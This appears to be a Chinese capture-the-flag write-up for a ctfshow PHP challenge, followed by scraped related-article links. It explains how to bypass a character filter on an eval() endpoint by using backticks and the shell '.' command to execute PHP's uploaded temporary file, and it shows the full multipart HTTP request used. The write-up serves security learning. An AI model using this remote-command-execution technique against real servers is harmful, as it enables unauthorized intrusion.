上来先代码审计

点击查看代码
<?php
if(isset($_GET['cmd'])){
$cmd=$_GET['cmd'];
highlight_file(__FILE__);
if(preg_match("/[A-Za-oq-z0-9$]+/",$cmd)){ die("cerror");
}
if(preg_match("/\~|\!|\@|\#|\%|\^|\&|\*|\(|\)|\(|\)|\-|\_|\{|\}|\[|\]|\'|\"|\:|\,/",$cmd)){
die("serror");
}
eval($cmd); } ?>

确实没头绪,感觉被限制死了不知道怎么绕过,连着看了几篇博客,属实是没想到能这样绕过

首先没有被限制的字符: p . \ = < > ? ‘ ’

那么能利用这些能干什么呢

先介绍一下一个php的机制:

在php里面,只要我们有上传文件请求包发送,那么php就会把这个文件存到临时文件里面而在nginx里面这个目录一般为\tmp目录

接下来再说说上述几个字符能干什么呢

可以构造这个语句

cmd=?><?=‘. /??p/p?p?????? ’

先解释一下这个语句的意思

首先介绍一下这个反引号

在php里面反引号里面的内容会被当做shell命令被执行

如图

. 等价于source命令,查了查解释如下

“source” 命令用于在当前的命令执行环境中读取并执行指定的脚本或配置文件。

也就是说他会将指定文件内容当做命令执行,如下图

< ? =相当于<?php echo 简写版本如图

在php里面临时文件名字由php和随机的四个或者6个字符组成,在window里面还会加上tmp的扩展名

? 相当于通配符,也就是说可以是任何字符我们/??p/p?p??????要匹配的就是/tmp/php******的临时文件(*表示随机的字符)

解释清楚方法了,接下来讲讲思路

也就是说首先我们要上传一个文件,里面包含命令,然后哦用cmd=?><?=‘. /??p/p?p?????? ’来读取这个命令的回显

这是我们上传临时文件的包
POST /?cmd=?%3E%3C?=`.%20/??p/p?p??????`; HTTP/1.1
Host: cb44aaa3-a5ee-415e-b01a-c3a94fdc0432.challenge.ctf.show
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: multipart/form-data; boundary=---------------------------10242300956292313528205888
Accept-Encoding: gzip, deflate
Connection: keep-alive
Cookie: UM_distinctid=1739f845e394-0cffbf96840b0c8-4c302d7c-144000-1739f845e3b4e2
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 245 -----------------------------10242300956292313528205888
Content-Disposition: form-data; name="fileUpload"; filename="1.txt"
Content-Type: text/plain #! /bin/bash ls ../../../
-----------------------------10242300956292313528205888--

看到发的flag位置了

cat flag就行了

ctfshow--红包题第二弹 临时文件命令执行的更多相关文章

  1. codechef营养题 第二弹

    第二弾が始まる! codechef problems 第二弹 一.Backup Functions 题面 One unavoidable problem with running a restaura ...

  2. ctfshow 红包题 武穆遗书

    偶然见看到这道题,就下载了看了看.确实是我自己的逆向能力不够,逆不动.但是我似乎找到了非预期... 下载程序,ida打开,发现不对.后来发现是加了upx壳,拿软件去一下.再次ida打开. 其中buff ...

  3. ctfshow_web入门 命令执行

    命令执行 刚刚开始学习命令执行,萌新一个 因为是学习嘛,所以东西写的杂乱了 web 29 error_reporting(0); if(isset($_GET['c'])){ $c = $_GET[' ...

  4. 我与网站的日常-webshell命令执行

    本文比较基础,其中有一个知识点关于php执行系统命令的函数 ,我们用最简单的webshell来说说传值问题的影响, 本文作者: i春秋签约作家——屌丝绅士 0×01前言:    小表弟又来写文章了,这 ...

  5. CTF中的命令执行绕过

    本位原创作者:Smity 在介绍命令注入之前,有一点需要注意:命令注入与远程代码执行不同.他们的区别在于,远程代码执行实际上是调用服务器网站代码进行执行,而命令注入则是调用操作系统命令进行执行. 作为 ...

  6. CTF练习三 —— 命令注入&命令执行绕过

    这个题是第四届强网杯也就是2020.8.22号开始的那场一道简单的命令注入题,再这之前我并没有学习过命令注之类的知识,,,看到题之后先搜在学,,误打误撞解了出来,过段时间wp就会放出来,所以这里就不对 ...

  7. 命令执行 安鸾 Writeup

    目录 命令执行 01 命令执行 02 仅代码层面来说,任意命令执行漏洞的利用条件: 1.代码中存在调用系统命令的函数 2.函数中存在我们可控的点 3.可控点没有过滤,或过滤不严格. Linux命令连接 ...

  8. PHP命令执行集锦

    前言 代码审计总要遇到命令执行或者说RCE,打CTF的过程中难免不会碰见,毕竟PHP是世界上最好的语言,总结一下 命令执行函数 E.g.1 <?php error_reporting(0); s ...

  9. 浅谈Hybrid技术的设计与实现第二弹

    前言 浅谈Hybrid技术的设计与实现 浅谈Hybrid技术的设计与实现第二弹 浅谈Hybrid技术的设计与实现第三弹——落地篇 接上文:浅谈Hybrid技术的设计与实现(阅读本文前,建议阅读这个先) ...

  10. 【MongoDB】6.关于MongoDB存储文件的 命令执行+代码执行

    参考:http://www.runoob.com/mongodb/mongodb-gridfs.html 1.命令执行 MongoDB GridFS GridFS 用于存储和恢复那些超过16M(BSO ...

随机推荐

  1. Air780E篇:采集温湿度传感器数据,并网页查看

    ​ 今天我们学习合宙低功耗4G模组Air780E篇:采集温湿度传感器数据并实现网页查看,以下进入正文. 一.硬件装备 1.1 硬件连接 使用跳线帽将IO_SEL连接3.3V,给引脚供3.3V的电.dh ...

  2. 2023NOIP A层联测32 T4 红楼 ~ Eastern Dream

    2023NOIP A层联测32 T4 红楼 ~ Eastern Dream 根号分治加分块. Ps:分块后面真的用的多. 思路 考虑根号分治,将 \(x\) 分为 \(x \leq \sqrt n\) ...

  3. (Python基础教程之二)在Sublime Editor中配置Python环境

    Python基础教程 在SublimeEditor中配置Python环境 Python代码中添加注释 Python中的变量的使用 Python中的数据类型 Python中的关键字 Python字符串操 ...

  4. HAR文件

    简介 HAR(HTTP Archive format),是一种或 JSON 格式的存档格式文件,通用扩展名为 .har.Web 浏览器可以使用该格式导出有关其加载的网页的详细性能数据. 使用场景 在开 ...

  5. laravel框架之ORM操作

    Laravel 支持原生的 SQL 查询.流畅的查询构造器 和 Eloquent ORM 三种查询方式: 流畅的查询构造器(简称DB),它是为创建和运行数据库查询提供的一个接口,支持大部分数据库操作, ...

  6. vue3-setup中使用响应式

    基本类型的响应式数据 在 Vue 3 中,ref是一个函数,用于创建响应式的数据.它主要用于处理基本类型(如数字.字符串.布尔值等)的数据响应式 当我们调用 ref 函数时,会返回一个包含一个 .va ...

  7. OSG开发笔记(三十六):osg3.4.0基于windows平台msvc2017x64编译器编译并移植Demo

    前言   本篇编译osg3.4.0的msvc2017x64版本,之前使用的都是mingw32版本.   OSG编译 步骤一:下载解压   下载3.4.0版本.   步骤二:使用cmake配置      ...

  8. 【Kotlin】select简介

    1 前言 ​ 协程的 select 是一种用于异步操作的选择器,它允许同时等待多个挂起函数的结果,并在其中一个完成时执行相应的操作. ​ 能够被 select 的事件都是 SelectClause,在 ...

  9. Shape文件格式

    Shape文件格式 一个ESRI的shapefile数据包含一个主文件(.shp),一个索引文件(.shx)和一个dBASE(.dbf)表.主文件是直接访问的,变长记录的文件,每一条记录都描述一个形状 ...

  10. intellij idea 自动生成test单元测试

    1. 创建测试类 打开IDEA,在任意类名,任意接口名上,按ctrl+shift+t选择Create New Test   image 然后根据提示操作(默认即可),点击确认,就在项目的/test/j ...